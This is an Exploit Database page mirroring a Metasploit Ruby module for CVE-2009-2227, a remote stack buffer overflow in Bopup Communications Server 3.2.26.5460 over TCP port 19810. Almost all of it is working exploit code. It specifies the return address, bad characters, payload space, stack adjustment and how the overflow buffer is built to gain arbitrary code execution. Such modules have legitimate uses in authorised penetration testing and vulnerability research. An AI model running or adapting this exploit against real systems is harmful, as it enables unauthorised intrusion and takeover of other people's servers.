Bopup Communications Server – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 31 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16445/

• ##
  # $Id: bopup_comm.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Bopup Communications Server Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.
  					By sending a specially crafted packet, an attacker may be
  					able to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-2227' ],
  					[ 'OSVDB', '55275' ],
  					[ 'URL', 'http://www.blabsoft.com/products/server' ],
  					[ 'URL', 'http://milw0rm.com/exploits/9002' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 417,
  					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],
  				],
  			'Privileged' => true,
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jun 18 2009'))
  
  		register_options(
  			[
  				Opt::RPORT(19810)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		sploit =[0x00000001].pack('V')
  		sploit << rand_text_alpha_upper(829 - payload.encoded.length)
  		sploit << payload.encoded
  		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
  		sploit << rand_text_alpha_upper(27)
  		sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
  		sploit << [target.ret].pack('V')
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end